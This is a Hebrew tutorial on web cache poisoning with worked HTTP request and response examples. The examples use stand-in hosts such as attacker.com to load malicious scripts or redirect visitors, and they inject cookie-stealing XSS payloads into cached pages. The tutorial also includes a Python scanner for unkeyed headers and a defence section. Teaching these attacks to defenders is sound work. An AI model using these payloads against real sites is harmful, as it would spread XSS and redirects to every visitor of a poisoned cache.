הרעלת מטמון - Web Cache Poisoning¶
מבוא¶
הרעלת מטמון (Web Cache Poisoning) היא תקיפה שבה התוקף מנצל את מנגנון המטמון של אפליקציית אינטרנט כדי להגיש תוכן זדוני למשתמשים אחרים. התוקף שולח בקשה מעוצבת שגורמת לשרת להחזיר תגובה זדונית, והתגובה נשמרת במטמון ומוגשת לכל מבקר שמבקש את אותו משאב.
הסכנה בתקיפה זו היא שהיא יכולה להשפיע על מספר גדול של משתמשים ללא צורך באינטראקציה ישירה עם כל אחד מהם.
איך מטמון אינטרנט עובד¶
שרשרת המטמון¶
כשהמטמון מקבל בקשה, הוא בודק אם כבר יש לו תגובה מתאימה. אם כן - הוא מחזיר אותה ישירות. אם לא - הוא מעביר את הבקשה לשרת, שומר את התגובה ומחזיר אותה.
מפתח מטמון - Cache Key¶
המטמון קובע אם שתי בקשות "זהות" לפי מפתח המטמון. בדרך כלל המפתח כולל:
מפתח מטמון טיפוסי:
- שיטת HTTP (GET)
- נתיב (/page)
- פרמטרי query (?id=1)
- כותרת Host
לא כלול במפתח (בדרך כלל):
- כותרות אחרות (X-Forwarded-Host, User-Agent...)
- עוגיות
- גוף הבקשה
זיהוי התנהגות מטמון¶
כותרות תגובה שמצביעות על מטמון:
HTTP/1.1 200 OK
X-Cache: miss # הבקשה לא היתה במטמון
X-Cache: hit # הבקשה הוגשה מהמטמון
Age: 120 # כמה שניות התגובה במטמון
Cache-Control: max-age=3600, public
Vary: Accept-Encoding # המפתח כולל גם את כותרת Accept-Encoding
עקרון התקיפה¶
התקיפה מבוססת על כותרות שאינן במפתח (unkeyed inputs) שמשפיעות על התגובה:
1. תוקף שולח בקשה עם כותרת מיוחדת שמשפיעה על התגובה
2. השרת מחזיר תגובה שמכילה את הערך מהכותרת
3. המטמון שומר את התגובה (הכותרת לא במפתח, אז הוא לא יודע שהתגובה "מזוהמת")
4. משתמשים רגילים מבקשים את אותו נתיב ומקבלים את התגובה הזדונית מהמטמון
גילוי כותרות שאינן במפתח עם Param Miner¶
הרחבת Param Miner ל-Burp Suite מזהה אוטומטית כותרות ופרמטרים שאינם במפתח המטמון:
1. התקינו Param Miner מה-BApp Store
2. לחצו ימני על בקשה -> Extensions -> Param Miner
3. בחרו:
- Guess headers: חיפוש כותרות שאינן במפתח
- Guess cookies: חיפוש עוגיות שאינן במפתח
- Guess params: חיפוש פרמטרים שאינם במפתח
4. בדקו את הלוג ב-Dashboard/Output
הכלי שולח בקשות עם כותרות שונות (כמו X-Forwarded-Host, X-Original-URL ועוד) ובודק אם הערך מופיע בתגובה.
הרעלה דרך X-Forwarded-Host¶
כותרת X-Forwarded-Host משמשת לזיהוי ה-Host המקורי כשבקשה עוברת דרך proxy. אם השרת משתמש בכותרת זו ליצירת לינקים בתגובה, אפשר להרעיל:
דוגמה¶
בקשה רגילה:
GET /en HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
<script src="https://vulnerable-website.com/resources/js/main.js"></script>
בקשה עם X-Forwarded-Host:
GET /en HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
<script src="https://attacker.com/resources/js/main.js"></script>
אם הכותרת לא במפתח המטמון, התגובה הזדונית תישמר ותוגש לכל מבקר ב-/en.
שלבי התקיפה המלאים¶
1. שלחו GET /en עם X-Forwarded-Host: attacker.com
2. ודאו שהתגובה מכילה attacker.com (X-Cache: miss)
3. שלחו שוב ללא הכותרת ובדקו שהתגובה עדיין מכילה attacker.com (X-Cache: hit)
4. ארחו JavaScript זדוני ב-attacker.com/resources/js/main.js
5. כל מבקר באתר יטען את הסקריפט הזדוני
הרעלה דרך X-Forwarded-Scheme¶
כותרת X-Forwarded-Scheme (או X-Forwarded-Proto) מציינת את הפרוטוקול המקורי. שרתים משתמשים בה להפניית HTTP ל-HTTPS:
GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Scheme: http
HTTP/1.1 301 Moved Permanently
Location: https://vulnerable-website.com/
שילוב עם X-Forwarded-Host:
GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Scheme: http
X-Forwarded-Host: attacker.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/
אם שתי הכותרות אינן במפתח, כל מבקר בדף הבית יופנה לאתר התוקף.
הרעלה דרך X-Original-URL ו-X-Rewrite-URL¶
כותרות אלו משנות את הנתיב הפנימי שהאפליקציה מעבדת:
הבקשה נשלחת ל-/ (מפתח המטמון), אבל השרת מעבד את /admin. התגובה של /admin נשמרת במטמון עבור /.
בקשות GET עם גוף - Fat GET Requests¶
בקשות GET לא אמורות לכלול גוף, אבל חלק מהשרתים מעבדים אותו:
GET /search?q=test HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
q=<script>alert(1)</script>
אם השרת מעדיף את הפרמטר מהגוף על זה מה-URL, ומפתח המטמון כולל רק את ה-URL:
כל מי שמחפש "test" יקבל XSS.
הסתרת פרמטרים - Parameter Cloaking¶
שרתים שונים מפרשים query string בצורות שונות. ניתן לנצל את ההבדלים:
מפריד נקודה-פסיק¶
המטמון רואה: q=test;evil_param=... (פרמטר אחד)
השרת רואה: q=test ו-evil_param=<script>alert(1)</script> (שני פרמטרים)
פרמטר כפול¶
המטמון משתמש בערך הראשון למפתח, השרת משתמש באחרון.
פרמטר UTM¶
חלק מהמטמונים מתעלמים מפרמטרי UTM במפתח, אבל השרת כולל אותם בתגובה.
הרעלה דרך פרמטרי query שאינם במפתח¶
חלק מהמטמונים מתעלמים מפרמטרי query מסוימים או מכולם:
מטמון שמתעלם מכל הפרמטרים¶
מפתח המטמון: GET /page (ללא הפרמטרים)
התגובה מכילה את הפרמטר בתוך ה-HTML.
זיהוי באמצעות cache buster¶
# בקשה 1 - עם cache buster
GET /page?cb=random123&evil=payload HTTP/1.1
X-Cache: miss
# בקשה 2 - אותו cache buster, ללא evil
GET /page?cb=random123 HTTP/1.1
X-Cache: hit # מוגש מהמטמון - evil לא במפתח!
הרעלה עם מספר כותרות¶
לפעמים נדרש שילוב של מספר כותרות:
GET /page HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
הכותרת X-Forwarded-Scheme: nothttps גורמת להפניה, ו-X-Forwarded-Host: attacker.com קובעת את יעד ההפניה.
הרעלה דרך הבדלי נרמול URL¶
מטמונים ושרתים עשויים לנרמל URL-ים בצורות שונות:
קידוד אחוזים¶
נקודות בנתיב¶
לוכסן כפול¶
הרעלה ממוקדת - כותרת Vary¶
כותרת Vary מוסיפה כותרות נוספות למפתח המטמון:
המשמעות: המטמון שומר גרסה נפרדת לכל User-Agent. ניתן לנצל זאת להרעלה ממוקדת:
1. גלו את ה-User-Agent של הקורבן (למשל דרך XSS)
2. שלחו בקשה עם אותו User-Agent + payload זדוני
3. רק הקורבן יקבל את התגובה המורעלת
דוגמה מלאה - הרעלת מטמון ל-XSS¶
שלב 1 - זיהוי כותרת שאינה במפתח¶
GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: test123.com
HTTP/1.1 200 OK
X-Cache: miss
...
<link rel="canonical" href="https://test123.com/"/>
שלב 2 - אישור שהמטמון שומר את התגובה¶
GET / HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
X-Cache: hit
...
<link rel="canonical" href="https://test123.com/"/>
שלב 3 - הזרקת XSS¶
GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script>
HTTP/1.1 200 OK
...
<link rel="canonical" href="https://"></link><script>alert(document.cookie)</script>/"/>
שלב 4 - אישור שה-XSS במטמון¶
GET / HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
X-Cache: hit
...
<link rel="canonical" href="https://"></link><script>alert(document.cookie)</script>/"/>
כל מבקר בדף הבית יקבל את ה-XSS.
סקריפט אוטומציה¶
#!/usr/bin/env python3
"""
סקריפט בסיסי לזיהוי הרעלת מטמון
"""
import requests
import random
import string
import time
def generate_cache_buster():
"""יצירת cache buster אקראי"""
return ''.join(random.choices(string.ascii_lowercase, k=8))
def check_unkeyed_header(url, header_name, header_value):
"""בדיקה אם כותרת אינה במפתח המטמון"""
cb = generate_cache_buster()
test_url = f"{url}?cb={cb}"
# בקשה 1 - עם הכותרת
headers = {header_name: header_value}
resp1 = requests.get(test_url, headers=headers)
if header_value not in resp1.text:
return False, "הערך לא מופיע בתגובה"
# המתנה קצרה
time.sleep(0.5)
# בקשה 2 - ללא הכותרת
resp2 = requests.get(test_url)
if header_value in resp2.text:
cache_header = resp2.headers.get('X-Cache', 'unknown')
return True, f"כותרת {header_name} אינה במפתח! (X-Cache: {cache_header})"
return False, "הערך לא נשמר במטמון"
def scan_target(url):
"""סריקת יעד עבור כותרות שאינן במפתח"""
headers_to_test = [
("X-Forwarded-Host", "cache-poison-test.com"),
("X-Host", "cache-poison-test.com"),
("X-Forwarded-Server", "cache-poison-test.com"),
("X-Forwarded-Scheme", "nothttps"),
("X-Forwarded-Proto", "nothttps"),
("X-Original-URL", "/cache-poison-test"),
("X-Rewrite-URL", "/cache-poison-test"),
]
print(f"[*] סורק {url}")
print("-" * 50)
for header_name, header_value in headers_to_test:
vulnerable, message = check_unkeyed_header(
url, header_name, header_value
)
status = "[+]" if vulnerable else "[-]"
print(f"{status} {header_name}: {message}")
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("שימוש: python3 cache_poison.py <url>")
sys.exit(1)
scan_target(sys.argv[1])
הגנה¶
1. אל תכלילו קלט שאינו במפתח בתגובה¶
2. הגדרת Cache-Control נכונה¶
# דפים דינמיים עם מידע אישי
Cache-Control: no-store, private
# משאבים סטטיים
Cache-Control: public, max-age=31536000, immutable
3. ולידציה מודעת-מטמון¶
# אם חייבים להשתמש בכותרת X-Forwarded-Host
allowed_hosts = ["www.example.com", "example.com"]
forwarded_host = request.headers.get("X-Forwarded-Host", "")
if forwarded_host and forwarded_host not in allowed_hosts:
forwarded_host = "www.example.com" # ברירת מחדל בטוחה
4. שימוש ב-Vary¶
5. בדיקה תקופתית¶
- סרקו עם Param Miner באופן קבוע
- בדקו כל שינוי בהגדרות CDN/Cache
- ודאו שמפתח המטמון כולל את כל הקלטים שמשפיעים על התגובה
סיכום¶
הרעלת מטמון היא תקיפה שמשפיעה על כל מבקרי האתר, לא רק על הקורבן הישיר. היא מנצלת את הפער בין מה שהמטמון מחשיב כ"אותה בקשה" לבין מה שבאמת משפיע על התגובה. נקודות מפתח:
- כותרות שאינן במפתח המטמון הן וקטור התקיפה העיקרי
- כלי Param Miner חיוני לגילוי כותרות ופרמטרים שאינם במפתח
- ההרעלה יכולה להוביל ל-XSS, הפניות פתוחות, ומניפולציה של תוכן
- ההגנה דורשת התאמה בין מפתח המטמון לקלטים שמשפיעים על התגובה